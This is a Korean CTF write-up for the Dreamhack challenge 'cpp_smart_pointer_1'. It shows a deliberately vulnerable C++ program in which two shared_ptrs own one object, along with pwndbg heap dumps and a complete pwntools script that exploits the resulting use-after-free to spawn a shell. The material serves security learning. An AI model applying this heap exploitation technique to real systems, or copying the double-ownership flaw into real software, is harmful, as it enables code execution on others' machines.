dreamhack - cpp_smart_pointer_1 writeup
[dreamhack] cpp_smart_pointer_1 writeup
1. 문제
이 문제는 서버에서 작동하고 있는 서비스(cpp_smart_pointer_1)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾아 flag를 획득하세요!
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <iostream>
#include <memory>
#include <csignal>
#include <unistd.h>
#include <cstdio>
#include <cstring>
#include <cstdio>
#include <cstdlib>
char* guest_book = "guestbook\x00";
void alarm_handler(int trash)
{
std::cout << "TIME OUT" << std::endl;
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void print_menu(){
std::cout << "smart pointer system!" << std::endl;
std::cout << "1. change smart pointer" << std::endl;
std::cout << "2. delete smart pointer" << std::endl;
std::cout << "3. test smart pointer" << std::endl;
std::cout << "4. write guest book" << std::endl;
std::cout << "5. view guest book" << std::endl;
std::cout << "6. exit system" << std::endl;
std::cout << "[*] select : ";
}
void write_guestbook(){
std::string data;
std::cout << "write guestbook : ";
std::cin >> data;
guest_book = (char *)malloc(data.length() + 1);
strcpy(guest_book, data.c_str());
}
void view_guestbook(){
std::cout << "guestbook data: ";
std::cout << guest_book << std::endl;
}
void apple(){
std::cout << "Hi im apple!" << std::endl;
}
void banana(){
std::cout << "Hi im banana!" << std::endl;
}
void mango(){
std::cout << "Hi im mango!" << std::endl;
}
void getshell(){
std::cout << "Hi im shell!" << std::endl;
std::cout << "what? shell?" << std::endl;
system("/bin/sh");
}
class Smart{
public:
Smart(){
fp = apple;
}
Smart(const Smart&){
}
void change_function(int select){
if(select == 1){
fp = apple;
} else if(select == 2){
fp = banana;
} else if(select == 3){
fp = mango;
} else {
fp = apple;
}
}
void (*fp)(void);
};
void change_pointer(std::shared_ptr<Smart> first){
int selector = 0;
std::cout << "1. apple\n2. banana\n3. mango" << std::endl;
std::cout << "select function for smart pointer: ";
std::cin >> selector;
(*first).change_function(selector);
std::cout << std::endl;
}
int main(){
initialize();
int selector = 0;
Smart *smart = new Smart();
std::shared_ptr<Smart> src_ptr(smart);
std::shared_ptr<Smart> new_ptr(smart);
while(1){
print_menu();
std::cin >> selector;
switch(selector){
case 1:
std::cout << "Select pointer(1, 2): ";
std::cin >> selector;
if(selector == 1){
change_pointer(src_ptr);
} else if(selector == 2){
change_pointer(new_ptr);
}
break;
case 2:
std::cout << "Select pointer(1, 2): ";
std::cin >> selector;
if(selector == 1){
src_ptr.reset();
} else if(selector == 2){
new_ptr.reset();
}
break;
case 3:
std::cout << "Select pointer(1, 2): ";
std::cin >> selector;
if(selector == 1){
(*src_ptr).fp();
} else if(selector == 2){
(*new_ptr).fp();
}
break;
case 4:
write_guestbook();
break;
case 5:
view_guestbook();
break;
case 6:
return 0;
break;
default:
break;
}
}
}
2개의 함수가 있다.
-
write_guestbook: 입력받은 데이터 +1 만큼 할당하고
strcpy함수를 실행 -
view_guestbook:
guestbook에 있는 데이터를 출력
그리고 src_ptr과 new_ptr이 같은 주소를 참조하고있고, change_funtion을 통해 fp에 들어가는 내용을 변경할 수 있다.
이걸 이용해서 getshell함수를 실행해야한다.
heap 상태를 보면 아래와 같다.
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x32a24000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x32a24290
Size: 0x12010 (with flag bits: 0x12011)
Allocated chunk | PREV_INUSE
Addr: 0x32a362a0
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x32a362c0
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x32a362e0
Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSE
Addr: 0x32a36300
Size: 0xed00 (with flag bits: 0xed01)
pwndbg> x/50gx 0x32a362a0
0x32a362a0: 0x0000000000000000 0x0000000000000021
0x32a362b0: 0x00000000004015b4 0x0000000000000000
0x32a362c0: 0x0000000000000000 0x0000000000000021
0x32a362d0: 0x0000000000402300 0x0000000100000001
0x32a362e0: 0x0000000032a362b0 0x0000000000000021
0x32a362f0: 0x0000000000402300 0x0000000100000001
0x32a36300: 0x0000000032a362b0 0x000000000000ed01
[...]
pwndbg> x/10gx 0x4015b4
0x4015b4 <_Z5applev>: 0x40220abee5894855 0x49e8006042a0bf00
즉, smart pointer가 0x32a362a0에 들어가있고, fp는 현재 apple이다. 그리고 0x32a362c0, 0x32a362e0이 각각 src_ptr, new_ptr라고 보면 된다.
여기서 src_ptr.reset()을 하면 어떻게 되는지 보자.
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x93de000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x93de290
Size: 0x12010 (with flag bits: 0x12011)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x93f02a0
Size: 0x20 (with flag bits: 0x21)
fd: 0x93f0
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x93f02c0
Size: 0x20 (with flag bits: 0x21)
fd: 0x93f9140
Allocated chunk | PREV_INUSE
Addr: 0x93f02e0
Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSE
Addr: 0x93f0300
Size: 0xed00 (with flag bits: 0xed01)
pwndbg> x/40gx 0x93f02a0
0x93f02a0: 0x0000000000000000 0x0000000000000021
0x93f02b0: 0x00000000000093f0 0x8502fd9e5dd8b77b
0x93f02c0: 0x0000000000000000 0x0000000000000021
0x93f02d0: 0x00000000093f9140 0x8502fd9e5dd8b77b
0x93f02e0: 0x00000000093f02b0 0x0000000000000021
0x93f02f0: 0x0000000000402300 0x0000000100000001
0x93f0300: 0x00000000093f02b0 0x000000000000ed01
다시 실행하면서 힙 값이 바뀌긴했지만 마지막 바이트만 보면 똑같다. a0과 c0이 free된 것을 볼 수 있고, 실제 값이 채워진 것을 보면 apple을 참조하던 a0의 fp도 이상한 값이 들어가있는 것을 볼 수 있다.
free된 힙은 초기화되지 않고 tcache에 그대로 들어가있기 때문에 uaf 취약점을 활용할 수 있다. 적당한 값으로 write_guestbook을 하면 반환된 힙에 바로 쓸 수 있을 것이고 a0, c0 순으로 할당될 것이다.
p.sendlineafter(b"select : ", b"4")
p.sendlineafter(b"write guestbook : ", p64(elf.symbols["_Z8getshellv"]))
p.sendlineafter(b"select : ", b"4")
p.sendlineafter(b"write guestbook : ", p64(elf.symbols["_Z8getshellv"]))
이렇게 하고 힙 상태를 다시 보자.
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x32aa5000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x32aa5290
Size: 0x12010 (with flag bits: 0x12011)
Allocated chunk | PREV_INUSE
Addr: 0x32ab72a0
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x32ab72c0
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x32ab72e0
Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSE
Addr: 0x32ab7300
Size: 0xed00 (with flag bits: 0xed01)
pwndbg> x/40gx 0x32ab72a0
0x32ab72a0: 0x0000000000000000 0x0000000000000021
0x32ab72b0: 0x000000000040161d 0x0000000000000000
0x32ab72c0: 0x0000000000000000 0x0000000000000021
0x32ab72d0: 0x000000000040161d 0x0000000000000000
0x32ab72e0: 0x0000000032ab72b0 0x0000000000000021
0x32ab72f0: 0x0000000000402300 0x0000000100000001
0x32ab7300: 0x0000000032ab72b0 0x000000000000ed01
pwndbg> x/10gx 0x40161d
0x40161d <_Z8getshellv>: 0x402232bee5894855 0xe0e8006042a0bf00
smart pointer의 fp 위치인 b0에 getshell 함수주소가 들어간 것을 볼 수 있고, new_ptr가 이 b0을 가리키는 것을 볼 수 있다. 따라서 new_ptr의 fp를 실행시키면 끝이다.
from pwn import *
p = process("./cpp_smart_pointer_1")
#p = remote("host8.dreamhack.games", 13635)
elf = ELF("./cpp_smart_pointer_1")
p.sendlineafter(b"select : ", b"2")
p.sendlineafter(b"Select pointer(1, 2): ", b"1")
p.sendlineafter(b"select : ", b"4")
p.sendlineafter(b"write guestbook : ", p64(elf.symbols["_Z8getshellv"]))
p.sendlineafter(b"select : ", b"4")
p.sendlineafter(b"write guestbook : ", p64(elf.symbols["_Z8getshellv"]))
p.sendlineafter(b"select : ", b"3")
p.sendlineafter(b"Select pointer(1, 2): ", b"2")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/cpp_smart_pointer_1$ python3 e_cpp_smart_pointer_1.py
[+] Starting local process './cpp_smart_pointer_1': pid 3509308
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/cpp_smart_pointer_1/cpp_smart_pointer_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Switching to interactive mode
Hi im shell!
what? shell?
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
해결~